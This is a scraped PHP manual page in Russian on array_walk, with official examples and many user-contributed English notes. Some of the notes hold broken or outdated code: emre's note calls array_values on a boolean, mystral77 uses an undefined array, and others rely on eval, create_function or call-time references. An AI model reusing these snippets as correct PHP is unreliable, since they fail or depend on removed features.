 * array('a'=>'1','b'=>'2','test'=>'PHP Rocks');
 */

?>

Returning a value from your function does work if you pass by reference and modify $item before you return, but you will eat up memory very, very fast if you try it, even on an example as small as the one here.

One other silly thing you might try first is something like this:

<?php
// Resist the urge to do this, it doesn't work.
$filtered = array_walk_recursive($unfiltered,'filter_function');
?>

Of course, $filtered is just TRUE afterwards, not the filtered results you were wanting. Oh, it ran your function recursively alright, but changed all the values in the local function scope only and returns a boolean as the documentation states.
bradbeattie at gmail dot com 27-Aug-2010 11:18
The description says "If funcname needs to be working with the actual values of the array, specify the first parameter of funcname as a reference." This isn't necessarily helpful as the function you're calling might be built in (e.g. trim or strip_tags). One option would be to create a version of these like so.

<?php
    function trim_by_reference(&$string) {
        $string = trim($string);
    }
?>

The downside to this approach is that you need to create a wrapper function for each function you might want to call. Instead, we can use PHP 5.3's inline function syntax to create a new version of array_walk_recursive.

<?php
    /**
     * This function acts exactly like array_walk_recursive, except that it pretends that the function
     * its calling replaces the value with its result.
     *
     * @param $array The first value of the array will be passed into $function as the primary argument
     * @param $function The function to be called on each element in the array, recursively
     * @param $parameters An optional array of the additional parameters to be appeneded to the function
     *
     * Example usage to alter $array to get the second, third and fourth character from each value
     *     array_walk_recursive_referential($array, "substr", array("1","3"));
     */
    function array_walk_recursive_referential(&$array, $function, $parameters = array()) {
        $reference_function = function(&$value, $key, $userdata) {
            $parameters = array_merge(array($value), $userdata[1]);
            $value = call_user_func_array($userdata[0], $parameters);
        };
        array_walk_recursive($array, $reference_function, array($function, $parameters));
    }
?>

The advantage here is that we only explicitly define one wrapper function instead of potentially dozens.
amoffat at amoffat dot com 04-Jun-2008 05:15
<?
function my_array_map() {
    $args = func_get_args();
    $arr = array_shift($args);

    foreach ($args as $fn) {
        $nfn = create_function('&$v, $k, $fn', '$v = $fn($v);');
        array_walk_recursive($arr, $nfn, $fn);
    }
    return $arr;
}
?>

takes an array as the first argument, and functions as the other arguments.  it applies those functions recursively to the array
JW 14-Mar-2008 05:59
This function has a serious bug, which is still not fixed as of the PHP 5.2.5 release. After you call it, it can accidentally modify your original array. Save yourself hours of frustration by reading on.

The bug is here: http://bugs.php.net/bug.php?id=42850, and it looks like it will be fixed for 5.3.

If the array that you walk contains other array elements, they will be turned into references. This will happen even if the callback function doesn't take its first argument by reference, and doesn't do anything to the values.

For example, try this:
<?php
$data = array ('key1' => 'val1', 'key2' => array('key3' => 'val3'));
function foo($item, $key){}
var_dump($data);
?>

The original array has no references. Now try this:
<?php
array_walk_recursive($data,'foo');
var_dump($data);
?>

Now key2 is a reference, not just an array. So if you do this:
<?php
function test($item){$item['key2'] = array();}
test($data);
var_dump($data);
?>

you will see that test modifies $data, even though it shouldn't.

One workaround is to immediately make a deep copy of the array after calling array_walk_recursive, like this:
<?php
function array_duplicate($input) {
  if (!is_array($input)) return $input;
  $output = array();
  foreach ($input as $key => $value) {
    $output[$key] = array_duplicate($value);
  }
  return $output;
}
array_walk_recursive($data,'foo');
$data = array_duplicate($data);
var_dump($data);
?>

After doing that, the references are gone.
gabrielu at hotmail dot com 21-Feb-2006 01:13
I decided to add to the previous PHP 4 compatible version of array_walk_recursive() so that it would work within a class and as a standalone function.  Both instances are handled by the following function which I modified from omega13a at sbcglobal dot net.

The following example is for usage within a class.  To use as a standalone function take it out of the class and rename it.  (Example: array_walk_recursive_2)

<?php
class A_Class {

function array_walk_recursive(&$input, $funcname, $userdata = '') {
  if(!function_exists('array_walk_recursive')) {
    if(!is_callable($funcname))
      return false;

    if(!is_array($input))
      return false;

    foreach($input as $key=>$value) {
      if(is_array($input[$key])) {
        if(isset($this)) {
          eval('$this->' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
        } else {
          if(@get_class($this))
            eval(get_class() . '::' . __FUNCTION__ . '($input[$key], $funcname, $userdata);');
          else
            eval(__FUNCTION__ . '($input[$key], $funcname, $userdata);');
        }
      } else {
        $saved_value = $value;

        if(is_array($funcname)) {
          $f = '';
          for($a=0; $a<count($funcname); $a++)
            if(is_object($funcname[$a])) {
              $f .= get_class($funcname[$a]);
            } else {
              if($a > 0)
                $f .= '::';
              $f .= $funcname[$a];
            }
          $f .= '($value, $key' . (!empty($userdata) ? ', $userdata' : '') . ');';
          eval($f);
        } else {
          if(!empty($userdata))
            $funcname($value, $key, $userdata);
          else
            $funcname($value, $key);
        }

        if($value != $saved_value)
          $input[$key] = $value;
      }
    }
    return true;
  } else {
    array_walk_recursive($input, $funcname, $userdata);
  }
}

function kv_addslashes(&$v, $k) {
  $v = addslashes($v);
}
}
?>

Usage:
<?php
$arr = array(
  'a' => '"Hello World"',
  'b' => "'Hello World'",
  'c' => "Hello 'Worl\"d",
  'd' => array(
    'A' => 'H"e"l"l"o" "W"o"r"l"d'
    )
  );

$class = new A_Class();
$class->array_walk_recursive($arr, array(&$class, 'kv_addslashes'));
print_r($arr);
?>


Применяет заданную пользователем функцию к каждому элементу массива

  • « array_walk_recursive
  • array »
  • PHP Manual
  • Функции для работы с массивами
  • Применяет заданную пользователем функцию к каждому элементу массива

array_walk

(PHP 4, PHP 5, PHP 7, PHP 8)

array_walk — Применяет заданную пользователем функцию к каждому элементу массива

Описание

array_walk(array|object &$array, callable $callback, mixed $arg = null): bool

Применяет пользовательскую функцию callback к каждому элементу массива array.

array_walk() не подвержена влиянию внутреннего указателя массива array. array_walk() обойдёт все элементы массива независимо от позиции указателя.

Список параметров

array

Входной массив.

callback

Обычно функция callback принимает два параметра. В качестве первого параметра идёт значение элемента массива array, а ключ - в качестве второго.

Замечание:

Если требуется, чтобы функция callback изменила значения в массиве, определите первый параметр callback как ссылку. Тогда все изменения будут применены к элементам оригинального массива.

Замечание:

Множество встроенных функций (например, strtolower()) выводят предупреждение, если им передано больше параметров, чем они ожидают, или которые не могут непосредственно использоваться в callback.

Потенциально изменены могут быть только значения массива array; структура самого массива не может быть изменена, то есть нельзя добавить, удалить или поменять порядок элементов. Если callback-функция не соответствует этому требованию, поведение данной функции станет неопределённым и непредсказуемым.

arg

Если указан необязательный параметр arg, он будет передан в качестве третьего параметра в callback-функцию callback.

Возвращаемые значения

Возвращает true

Ошибки

Начиная с PHP 7.1.0, в случае если callback-функция требует больше двух параметров (значение и ключ элемента массива) или более 3 параметров, если также передаётся параметр arg, будет выброшено исключение ArgumentCountError. Ранее в таком случае при каждом вызове callback, генерировалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Если параметр callback ожидает, что значение второго или третьего параметра будет передано по ссылке, функция теперь выдаст ошибку уровня E_WARNING.

Примеры

Пример #1 Пример использования array_walk()

<?php
$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");

function test_alter(&$item1, $key, $prefix)
{
$item1 = "$prefix: $item1";
}

function test_print($item2, $key)
{
echo "$key. $item2\n";
}

echo "До ...:\n";
array_walk($fruits, 'test_print');

array_walk($fruits, 'test_alter', 'fruit');
echo "... и после:\n";

array_walk($fruits, 'test_print');
?>

Результат выполнения приведённого примера:

До ...:
d. lemon
a. orange
b. banana
c. apple
... и после:
d. fruit: lemon
a. fruit: orange
b. fruit: banana
c. fruit: apple

Пример #2 Пример использования array_walk() с анонимной функцией

<?php
$elements = ['a', 'b', 'c'];

array_walk($elements, function ($value, $key) {
echo "{$key} => {$value}\n";
});

?>

Результат выполнения приведённого примера:

0 => a
1 => b
2 => c

Смотрите также

  • array_walk_recursive() - Рекурсивно применяет пользовательскую функцию к каждому элементу массива
  • iterator_apply() - Вызывает функцию для каждого элемента в итераторе
  • list() - Присваивает переменным значения похожим на массивы синтаксисом
  • each() - Возвращает текущую пару ключа и значения массива и сдвигает указатель на одну позицию вперёд
  • call_user_func_array() - Вызывает callback-функцию с массивом параметров
  • array_map() - Применяет callback-функцию ко всем элементам указанных массивов
  • foreach

User Contributed Notes

theking2(at)king.ma 03-Jan-2024 09:47
This function can be used to add the values in one array to another:

<?php
echo '<pre>';
// example code
$a = [ 1, 2, 3, 4, 5, 6];
$c = [10,20,30,40,50,60];

array_walk($a,
  function(&$item, $key, $y) { $item += $y[$key];},
  $c
);

print_r($a);

// result

Array
(
    [0] => 11
    [1] => 22
    [2] => 33
    [3] => 44
    [4] => 55
    [5] => 66
)
christopher at crmldnrs dot com 28-May-2022 11:36
public function big_endian_array_walk(array $array, $callback) {
      end($array);
      for($i=sizeof($array);$i>0;$i--) {
        $key = key($array);
        $value = array_pop($array);
        if(preg_match('/^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$/', $value)) {
          call_user_func_array($callback, [$value, $key]);
        }
      }
    }
christopher at crmldnrs dot com 28-May-2022 11:34
public function big_endian_array_walk(array $array, $callback) {
      end($array);
      for($i=sizeof($array);$i>0;$i--) {
        $key = key($array);
        $value = array_pop($array);
        if(preg_match('/^[a-zA-Z_\x80-\xff][a-zA-Z0-9_\x80-\xff]*$/', $value)) {
          call_user_func_array($callback, [$value, $key]);
        }
      }
    }

I just wanted to walk from the end to the beginning.
emre 12-Jul-2021 10:07
You can change the key or value with array_walk if you use the temporal returned array in global inside the function. For example:

$array = ['a'=>10, 'b'=>20];
$sequence = array ();

$newArray = array_values(array_walk($array, 'fn'));

function fn(&$val,$key){

global $sequence;

$sequence [] = $val;

}

No need to concern about the place of the internal pointer for the baby array. You have now rewinded, 0 based new array, string key one instead.
mystral77 at gmail dot com 24-Jun-2020 02:54
Hello,

If you want to add values with same key from two arrays :

<?php
function add(&$item,$key,$search) {
    $item += (is_array($search))?((isset($search[$key]))?$search[$key]:0):0;
}

$a = ["orange" => 2, "banana" => 3, "apple" => 1];
$b = ["orange" => 1, "apple" => 4];

array_walk($c,"add",$b);

echo "<pre>".print_r($c,true)."</pre>";
?>

This will output:

"orange" => 3,
"banana" => 3,
"apple" => 5
taj at yahoo dot fr 27-Feb-2019 11:42
// We can make that with this simple FOREACH loop :

$fruits = array("d" => "lemon", "a" => "orange", "b" => "banana", "c" => "apple");

foreach($fruits as $cls => $vls)
{
  $fruits[$cls] = "fruit: ".$vls;
}

Results:

Array
(
    [d] => fruit: lemon
    [a] => fruit: orange
    [b] => fruit: banana
    [c] => fruit: apple
)
EllisGL 01-Aug-2018 06:15
For those that think they can't use array_walk to change / replace a key name, here you go:

<?php
function array_explore(array &$array, callable $callback)
{
    array_walk($array, function(&$value, $key) use (&$array, $callback)
    {
        $callback($array, $key, $value);

        if(is_array($value))
        {
            array_explore($value, $callback);
        }
    });
}

/**
 * Stolen from: https://stackoverflow.com/questions/13233405/change-key-in-associative-array-in-php
 */
function renameKey(array &$data, $oldKey, $newKey, $ignoreMissing = false, $replaceExisting = false)
{
    if (!empty($data))
    {
        if (!array_key_exists($oldKey, $data))
        {
            if ($ignoreMissing)
            {
                return FALSE;
            }

            throw new \Exception('Old key does not exist.');
        }
        else
        {
            if (array_key_exists($newKey, $data))
            {
                if ($replaceExisting)
                {
                    unset($data[$newKey]);
                }
                else
                {
                    throw new \Exception('New key already exist.');
                }
            }

            $keys = array_keys($data);

            // Fix from EllisGL: http://php.net/manual/en/function.array-search.php#122377
            $keys[array_search($oldKey, array_map('strval', $keys))] = $newKey;

            $data = array_combine($keys, $data);

            return TRUE;
        }
    }

    return FALSE;
}

$array = [
    "_10fish" => 'xyz',
    "_11fish" => [
        "_22" => "a", "b", "c"
        ],
    "someFish" => [
        'xyz',
        '@attributes' => ['type' => 'cod']
        ]
    ];

array_explore($array, function(&$value, $key)
{
    // Replace key '@attrutes' with '_attributes'
    if('@attributes' === $key)
    {
        renameKey($value, $key, '_attributes');
    }

});

print_r($array);
?>
01001coder at gmail dot com 05-Dec-2017 10:19
I noticed that :

PHP ignored arguments type when using array_walk() even if there was

declare(strict_types=1) .

See this code as an example ...

<?php
declare(strict_types=1);

$fruits = array("butter" => 5.3, "meat" => 7, "banana" => 3);

function test_print(int $item2, $key) {
    echo "$key: $item2<br />\n";
}

array_walk($fruits, 'test_print');

?>

The output is :

butter: 5
meat: 7
banana: 3

whilst the expecting output is :

Fatal error: Uncaught TypeError: Argument 1 passed to test_print() must be of the type integer

because "butter" => 5.3 is float

I asked someone about it and they said "this was caused by the fact that callbacks called from internal code will always use weak type". But I tried to do some tests and this behavior is not an issue when using call_user_func().
vrrivaro at YESIUSEGMAIL dot gmail dot SO dot com 18-Mar-2017 02:40
The output of the example is only correct if viewed through a web browser. If you pass it through to PHP-CLI, you will get to see the additional HTML line breaks, however.
fantomx1 at gmail dot com 22-Aug-2016 08:08
Since array_walk cannot modify / change / reindex keys as already mentioned, i provide this small wrapping function which accomplishes passing array reference and index using closures , "use" keyword.

function indexArrayByElement($array, $element)
{
    $arrayReindexed = [];
    array_walk(
        $array,
        function ($item, $key) use (&$arrayReindexed, $element) {
            $arrayReindexed[$item[$element]] = $item;
        }
    );
    return $arrayReindexed;
}
fred 30-Dec-2015 09:01
Correction for the speed test from zlobnygrif.

<?php
// Test results
$array1 = test('array_walk');
$array2 = test('array_walk_list_each');
$array3 = test('array_walk_foreach1');
$array4 = test('array_walk_foreach2');

// Check arrays for equal
var_dump($array1 == $array2, $array1 == $array3, $array1 == $array4);

// Test function 1
function array_walk_list_each(&$array, $function, $userData = null) {
   /* make sure we walk the array each time */
    reset($array);
    while ( list($key, $value) = each($array) )
        $function($array[$key], $key, $userData);
}

// Test function 2
function array_walk_foreach1(&$array, $function, $userData = null) {
    foreach ($array as $key => &$value )
        $function($value, $key, $userData);
}

// Test function 3
function array_walk_foreach2(&$array, $function, $userData = null) {
    foreach ($array as $key => $value )
        $function($array[$key], $key, $userData);
}

function some_function(&$value, $key, $userData) {
    $value = "$key => $userData";
}

function test($function, $count = 10000, $arrayElements = 1000) {
    echo $function, ' ... ';
    $array = array_fill(0, $arrayElements, "some text value");

    $timer = microtime(true);
    for( $i = 0; ++$i < $count; )
        /* change data for each $i */
        $function($array, 'some_function', 'some user data ' . $i);
    printf("%.3f sec\n", microtime(true) - $timer);

    return $array;
}
ezhacher at gmail dot com 27-Aug-2014 12:45
Calling an array Walk inside a class

If the class is static:
array_walk($array, array('self', 'walkFunction'));
or
array_walk($array, array('className', 'walkFunction'));

Otherwise:
array_walk($array, array($this, 'walkFunction'));
chaley at brtransport dot com 16-Jun-2014 12:46
There is a note about 3 years ago regarding using this for trimming. array_map() may be cleaner for this. I haven't checked the time/resource impact:

$result = array_map("trim", $array);
zlobnygrif at gmail dot com 17-Jul-2013 05:41
Some speed tests

<?php
// Test results
$array1 = test('array_walk');
$array2 = test('array_walk_list_each');
$array3 = test('array_walk_foreach1');
$array4 = test('array_walk_foreach2');

// Check arrays for equal
var_dump($array1 == $array2, $array1 == $array3, $array1 == $array4);

// Test function 1
function array_walk_list_each(&$array, $function, $userData = null) {
    while ( list($key, $value) = each($array) )
        $function($array[$key], $key, $userData);
}

// Test function 2
function array_walk_foreach1(&$array, $function, $userData = null) {
    foreach ($array as $key => &$value )
        $function($value, $key, $userData);
}

// Test function 3
function array_walk_foreach2(&$array, $function, $userData = null) {
    foreach ($array as $key => $value )
        $function($array[$key], $key, $userData);
}

function some_function(&$value, $key, $userData) {
    $value = "$key => $userData";
}

function test($function, $count = 10000, $arrayElements = 1000) {
    echo $function, ' ... ';
    $array = array_fill(0, $arrayElements, "some text value");

    $timer = microtime(true);
    for( $i = 0; ++$i < $count; )
        $function($array, 'some_function', 'some user data');
    printf("%.3f sec\n", microtime(true) - $timer);

    return $array;
}
?>

Output (PHP 5.4.9-4ubuntu2.2 (cli) (built: Jul 15 2013 18:24:39))
=========================
array_walk ... 13.572 sec
array_walk_list_each ... 0.027 sec
array_walk_foreach1 ... 15.356 sec
array_walk_foreach2 ... 17.416 sec
bool(true)
bool(true)
bool(true)

Output (PHP 5.5.0 (cli) (built: Jul 16 2013 17:59:42) - same server)
=========================
array_walk ... 4.776 sec
array_walk_list_each ... 0.006 sec
array_walk_foreach1 ... 4.482 sec
array_walk_foreach2 ... 5.166 sec
bool(true)
bool(true)
bool(true)

PHP 5.5 array_walk looks pretty good but list each is more and more quickly...
brian at access9 dot net 24-May-2013 10:03
array_walk does not work on SplFixedArray objects:
<?php
$array = new SplFixedArray(2);
$array[0] = 'test_1';
$array[1] = 'test_2';

array_walk($array, function(&$val){
    $val .= '__';
    return $val;
});
foreach ($array as $a) {
    echo "$a\n";
}
?>

result is:
test_1
test_2
gold[at]evolved.net.nz 27-Mar-2013 10:08
For all those people trying to shoe-horn trim() into array_walk() and have found all these tricks to work around the issue with array_walk() passing 2 parameters to the callback...

Check out array_map().

http://php.net/array_map

It's all sorts of win.

For the record. I'm one of these people and after 15 years of php development I'm pleased to say that there's still things I'm learning. :)  I just found out about array_map() myself...
espertalhao04 at hotmail dot com 26-Dec-2012 11:35
here is a simple and yet easy to use implementation of this function.
the 'original' function has the problem that you can't unset a value.
with my function, YOU CAN!

<?php
function array_walk_protected(&$a,$s,$p=null)
{
    if(!function_exists($s)||!is_array($a))
    {
        return false;
    }

    foreach($a as $k=>$v)
    {
        if(call_user_func_array($s,array(&$a[$k],$k,$p))===false)
        {
            unset($a[$k]);
        }
    }
}

function get_name(&$e,$i,$p)
{
    echo "$i: $e<br>";
    return false;
}

$m=array('d'=>'33','Y'=>55);

array_walk_protected($m,'get_name');

var_dump($m); //returns array(0) { }
?>

i called it array_walk_protected because it is protected against the unexpected behavior of unsetting the value with the original function.

to delete an element, simply return false!!!
nothing else is needed!
unsetting $e, under your created function, will keep the same array as-is, with no changes!

by the way, the function returns false if $a is not array or $s is not a string!

limitations: it only can run user defined functions.
i hope you like it!
manuscle at gmail dot com 06-Dec-2011 07:16
example with closures, checking and deleting value in array:

<?php
$array = array('foo' => 'bar', 'baz' => 'bat');

array_walk($array, function($val,$key) use(&$array){
    if ($val == 'bar') {
        unset($array[$key]);
    }
});

var_dump($array);
alex_stanhope at hotmail dot com 26-Oct-2011 01:16
I wanted to walk an array and reverse map it into a second array.  I decided to use array_walk because it should be faster than a reset,next loop or foreach(x as &$y) loop.

<?php
$output = array();
array_walk($input, 'gmapmark_reverse', $output);

function gmapmark_reverse(&$item, $index, &$target) {
    $target[$item['form_key']] = $index;
}
?>

In my debugger I can see that $target is progressively updated, but when array_walk returns, $output is empty.  If however I use a (deprecated) call-by-reference:

<?php
array_walk($input, 'gmapmark_reverse', &$output);
?>

$output is returned correctly.  Unfortunately there's not an easy way to suppress the warnings:

<?php
@array_walk($input, 'gmapmark_reverse', &$output);
?>

doesn't silence them.  I've designed a workaround using a static array:

<?php
$reverse = array();
array_walk($input, 'gmapmark_reverse');
// call function one last time to get target array out, because parameters don't work
$reverse = gmapmark_reverse($reverse);

function gmapmark_reverse(&$item, $index = 0) {
  static $target;
  if (!$target) {
    $target = array();
  }
  if (isset($item['form_key'])) {
    $target[$item['form_key']] = $index;
  }
  return($target);
}
?>
tufanbarisyildirim at gmail dot com 05-Oct-2011 06:15
Filter an array by using key.

<?php
    $product_1 = 'test';
    $product_2 = 'test 2';

    function array_key_filter($array,$callback = 'trim')
    {
        $filtered = array();
        array_walk($array,function ($degeri,$degisken_adi) use (&$filtered,$callback)
        {
            if($callback($degisken_adi))
            {
                $filtered[$degisken_adi] =  $degeri;
            }
        });

        return $filtered;
    }

    #using

    $degiskenler = array_key_filter(get_defined_vars(),function($key)
    {
        return strpos($key,'product_') === 0;
    });

    print_r($degiskenler);
?>
output:

Array
(
    [product_1] => test
    [product_2] => test 2
)
Maxim 11-Jul-2011 12:23
Note that using array_walk with intval is inappropriate.
There are many examples on internet that suggest to use following code to safely escape $_POST arrays of integers:
<?php
array_walk($_POST['something'],'intval'); // does nothing in PHP 5.3.3
?>
It works in _some_ older PHP versions (5.2), but is against specifications. Since intval() does not modify it's arguments, but returns modified result, the code above has no effect on the array and will leave security hole in your website.

You can use following instead:
<?php
$_POST['something'] = array_map(intval,$_POST['something']);
?>
@jfredys 22-Mar-2011 05:07
I was looking for trimming all the elements in an array, I found this as the simplest solution:

<?php
array_walk($ids, create_function('&$val', '$val = trim($val);'));
?>
http://alex.moutonking.com/wordpress 15-Feb-2011 10:49
For completeness one has to mention the possibility of using this function with PHP 5.3 closures:

<?php
$names = array("D\'Artagnan", "Aramis", "Portos");
array_walk($names, function(&$n) {
  $n = stripslashes($n);
});
?>

The trap with array_walk being it doesn't return the array, instead it's modified by reference.
op_adept at yahoo dot co dot uk 02-Dec-2010 03:20
Prefix array values with keys and retrieve as a glued string, the original array remains unchanged. I used this to create some SQL queries from arrays.

<?php

function array_implode_prefix($outer_glue, $arr, $inner_glue, $prefix=false){
    array_walk( $arr , "prefix", array($inner_glue, $prefix) );
    return implode($outer_glue, $arr);
}

function prefix(&$value, $key, array $additional){
    $inner_glue = $additional[0];
    $prefix = isset($additional[1])? $additional[1] : false;
    if($prefix === false) $prefix = $key;

    $value = $prefix.$inner_glue.$value;
}

//Example 1:
$order_by = array("3"=>"ASC", "2"=>"DESC", "7"=>"ASC");
echo array_implode_prefix(",", $order_by, " ");
//Output: 3 ASC,2 DESC,7 ASC

//Example 2:
$columns = array("product_id", "category_id", "name", "description");
$table = "product";

echo array_implode_prefix(", ", $columns, ".", $table);
//Output:product.product_id, product.category_id, product.name, product.description

//Example 3 (function prefix) won't really be used on its own
$pre= "vacation";
$value = "lalaland";
prefix($value, $pre, array("."));
echo $value;

//Output: vacation.lalaland

?>
matthew at codenaked dot org 02-Sep-2010 11:24
Using lambdas you can create a handy zip function to zip together the keys and values of an array. I extended it to allow you to pass in the "glue" string as the optional userdata parameter. The following example is used to zip an array of email headers:

<?php

/**
 * Zip together the keys and values of an array using the provided glue
 *
 * The values of the array are replaced with the new computed value
 *
 * @param array $data
 * @param string $glue
 */
function zip(&$data, $glue=': ')
{
    if(!is_array($data)) {
        throw new InvalidArgumentException('First parameter must be an array');
    }

    array_walk($data, function(&$value, $key, $joinUsing) {
        $value = $key . $joinUsing . $value;
    }, $glue);
}

$myName = 'Matthew Purdon';
$myEmail = 'matthew@example.com';
$from = "$myName <$myEmail>";

$headers['From'] = $from;
$headers['Reply-To'] = $from;
$headers['Return-path'] = "<$myEmail>";
$headers['X-Mailer'] = "PHP" . phpversion() . "";
$headers['Content-Type'] = 'text/plain; charset="UTF-8"';

zip($headers);

$headers = implode("\n", $headers);
$headers .= "\n";

echo $headers;

/*
From: Matthew Purdon <matthew@example.com>
Reply-To: Matthew Purdon <matthew@example.com>
Return-path: <matthew@example.com>
X-Mailer: PHP5.3.2
Content-Type: text/plain; charset="UTF-8"
*/
?>
arekandrei at yandex dot ru 03-Jan-2010 07:30
You can use lambda function as a second parameter:

<?php
array_walk($myArray, function(&$value, $key){
    // if you want to change array values then "&" before the $value is mandatory.
});
?>

Example (multiply positive values by two):

<?php
$myArray = array(1, 2, 3, 4, 5);

array_walk($myArray, function(&$value, $index){
    if ($value > 0) $value *= 2;
});
?>
rustamabd at gmail dot com 13-Dec-2009 06:32
Don't forget about the array_map() function, it may be easier to use!

Here's how to lower-case all elements in an array:

<?php
    $arr = array_map('strtolower', $arr);
?>
erelsgl at gmail dot com 04-Mar-2009 03:40
If you want to unset elements from the callback function, maybe what you really need is array_filter.
jab_creations_-at_-yahoo_-dot-_com 26-Nov-2008 04:08
Unfortunately I spent a lot of time trying to permanently apply the effects of a function to an array using the array_walk function when instead array_map was what I wanted. Here is a very simple though effective example for those who may be getting overly frustrated with this function...

<?php
$fruits = array("Lemony & Fresh","Orange Twist","Apple Juice");

print_r($fruits);
echo '<br />';

function name_base($key)
{
 $name2 = str_replace(" ", "_", $key);
 $name3 = str_replace("&", "and", $name2);
 $name4 = strtolower($name3);
 echo $name4.'<br />';
 return $name4;
}
echo '<br />';

$test = array_map('name_base', $fruits);
$fruits_fixed = $test;
echo '<br />';
print_r($fruits_fixed);
?>
peterzuzek AT gmail DOT com 16-Nov-2008 09:04
I had some problems using this function - it didn't want to apply PHP-defined functions. So I decided to write my own - here it is. I had to use some generic-programming skills, didn't really checked the speed (I think it could be slow)... I believe it could be much better, but I don't know, how - well, I guess multiple array support and recursion would be nice. So?

Prototype:
bool arrayWalk(array &$arry, callback $callback, mixed $params=false)

<?php

    function arrayWalk(&$arry, $callback, $params=false) {
        $P=array(""); // parameters
        $a=""; // arguement string :)

        if($params !== false) { // add parameters
            if(is_array($params)) { // multiple additional parameters
                foreach($params as $par)
                    { $P[]=$par; }
            }
            else // just one additional
                { $P[]=$params; }
        }

        for( // create the arguement string
            $i=0; isset($P[$i]); ++$i
        )
            { $a.='$'.chr($i + 97).', '; } // random argument names

        $a=substr($a, 0, -2); // to get rid of the last comma and two spaces

        $func=create_function($a, 'return '.$callback.'('.$a.');'); // the generic function

        if(is_callable($func)) {
            for( // cycle through array
                $i=0; isset($arry[$i]); ++$i
            ) {
                $P[0]=$arry[$i]; // first element must be the first argument - array value
                $arry[$i] = call_user_func_array($func, $P); // assign the new value obtained by the generic function
            }
        }
        else
            { return false; } // failure - function not callable

        return true; // success!
    } // arrayWalk()

?>

One big problem I've noticed so far - for example, if you wanted to use str_replace on the array, you'd fail - simply because of the arguement order of str_replace, where the string modified is the third arguement, not the first as arrayWalk requires.

So, still some work left...
diyism 30-Oct-2008 11:18
When i pass the third parameter by reference in php5.2.5,
happened this: Warning: Call-time pass-by-reference has been deprecated - argument passed by value...

And to set allow_call_time_pass_reference to true in php.ini won't work, according to http://bugs.php.net/bug.php?id=19699   thus to work around:

<?php
array_walk($arrChnOut, create_function('&$v, $k, $arr_rtn', 'if ($k{0}!="_") {$arr_rtn[0]["_".$v[\'ID\']]=$v; unset($arr_rtn[0][$k]);}'), array(&$arrChnOut));
?>
jerk at yoosic dot de 21-Dec-2006 08:05
if you want to modify every value of an multidimensional array use this function used here:

<?php

$array = array (1=>1, 2=> 2, 3 => array(1=>11, 2=>12, 3=>13));
$text = "test";

function modarr(&$array, $text) {
        foreach ($array as $key => $arr) {
                if(is_array($arr)) $res[$key] = modarr(&$arr,$text);
                // modification function here
                else $res[$key] = $arr.$text;
                }
        return $res;
}

$erg = modarr($array, $text);

print_r($erg);

?>

result will be_

<?php
Array ( [1] => 1test [2] => 2test [3] => Array ( [1] => 11test [2] => 12test [3] => 13test ) )
?>
ludvig dot ericson at gmail dot com 21-Nov-2005 06:09
In response to 'ibolmo', this is an extended version of string_walk, allowing to pass userdata (like array_walk) and to have the function edit the string in the same manner as array_walk allows, note now though that you have to pass a variable, since PHP cannot pass string literals by reference (logically).

<?php
function string_walk(&$string, $funcname, $userdata = null) {
    for($i = 0; $i < strlen($string); $i++) {
        # NOTE: PHP's dereference sucks, we have to do this.
        $hack = $string{$i};
        call_user_func($funcname, &$hack, $i, $userdata);
        $string{$i} = $hack;
    }
}

function yourFunc($value, $position) {
    echo $value . ' ';
}

function yourOtherFunc(&$value, $position) {
    $value = str_rot13($value);
}

# NOTE: We now need this ugly $x = hack.
string_walk($x = 'interesting', 'yourFunc');
// Ouput: i n t e r e s t i n g

string_walk($x = 'interesting', 'yourOtherFunc');
echo $x;
// Output: vagrerfgvat
?>

Also note that calling str_rot13() directly on $x would be much faster ;-) just a sample.
Andrzej Martynowicz at gmail dot com 18-Sep-2005 06:03
It can be very useful to pass the third (optional) parameter by reference while modifying it permanently in callback function. This will cause passing modified parameter to next iteration of array_walk(). The exaple below enumerates items in the array:

<?php
function enumerate( &$item1, $key, &$startNum ) {
   $item1 = $startNum++ ." $item1";
}

$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', $num );

print_r( $fruits );

echo '$num is: '. $num ."\n";
?>

This outputs:

Array
(
    [0] => 1 lemon
    [1] => 2 orange
    [2] => 3 banana
    [3] => 4 apple
)
$num is: 1

Notice at the last line of output that outside of array_walk() the $num parameter has initial value of 1. This is because array_walk() does not take the third parameter by reference.. so what if we pass the reference as the optional parameter..

<?php
$num = 1;

$fruits = array( "lemon", "orange", "banana", "apple");
array_walk($fruits, 'enumerate', &$num ); // reference here

print_r( $fruits );

echo '$num is: '. $num ."\n";
echo "we've got ". ($num - 1) ." fruits in the basket!";
?>

This outputs:
Array
(
    [0] => 1 lemon
    [1] => 2 orange
    [2] => 3 banana
    [3] => 4 apple
)
$num is: 5
we've got 4 fruits in the basket!

Now $num has changed so we are able to count the items (without calling count() unnecessarily).

As a conclusion, using references with array_walk() can be powerful toy but this should be done carefully since modifying third parameter outside the array_walk() is not always what we want.
el_porno at web dot de 27-May-2005 03:03
You want to get rid of the whitespaces users add in your form fields...?
Simply use...:

class SomeVeryImportantClass
{
...
    public function mungeFormData(&$data)
    {
        array_walk($data, array($this, 'munge'));
    }

    private function munge(&$value, &$key)
    {
        if(is_array($value))
        {
            $this->mungeFormData($value);
        }
        else
        {
            $value = trim($value);
        }
    }
...
}

so...
$obj = new SomeVeryImportantClass;
$obj->mungeFormData($_POST);
___
eNc
Enlightened One 07-Apr-2005 11:17
Beware that "array ($this, method)" construct. If you're wanting to alter members of the "$this" object inside "method" you should construct the callback like this:

  $callback[] = &$this;
  $callback[] = method;
  array_walk ($input, $callback);

Creating your callback using the array() method as suggested by "appletalk" results in a copy of $this being passed to method, not the original object, therefor any changes made to the object by method will be lost when array_walk() returns. While you could construct the callback with "array(&$this, method)", I believe this relies on the deprecated runtime pass-by-reference mechanism which may be removed in future releases of PHP. Better to not create a dependence on that feature now than having to track it down and fix it in the future.
bisqwit at iki dot fi 03-Sep-2004 04:54
It's worth nothing that array_walk can not be used to change keys in the array.
The function may be defined as (&$value, $key) but not (&$value, &$key).
Even though PHP does not complain/warn, it does not modify the key.


Создаёт массив

  • « array_walk
  • arsort »
  • PHP Manual
  • Функции для работы с массивами
  • Создаёт массив

array

(PHP 4, PHP 5, PHP 7, PHP 8)

array — Создаёт массив

Описание

array(mixed ...$values): array

Создаёт массив. Подробнее о массивах рассказано в разделе «Массивы».

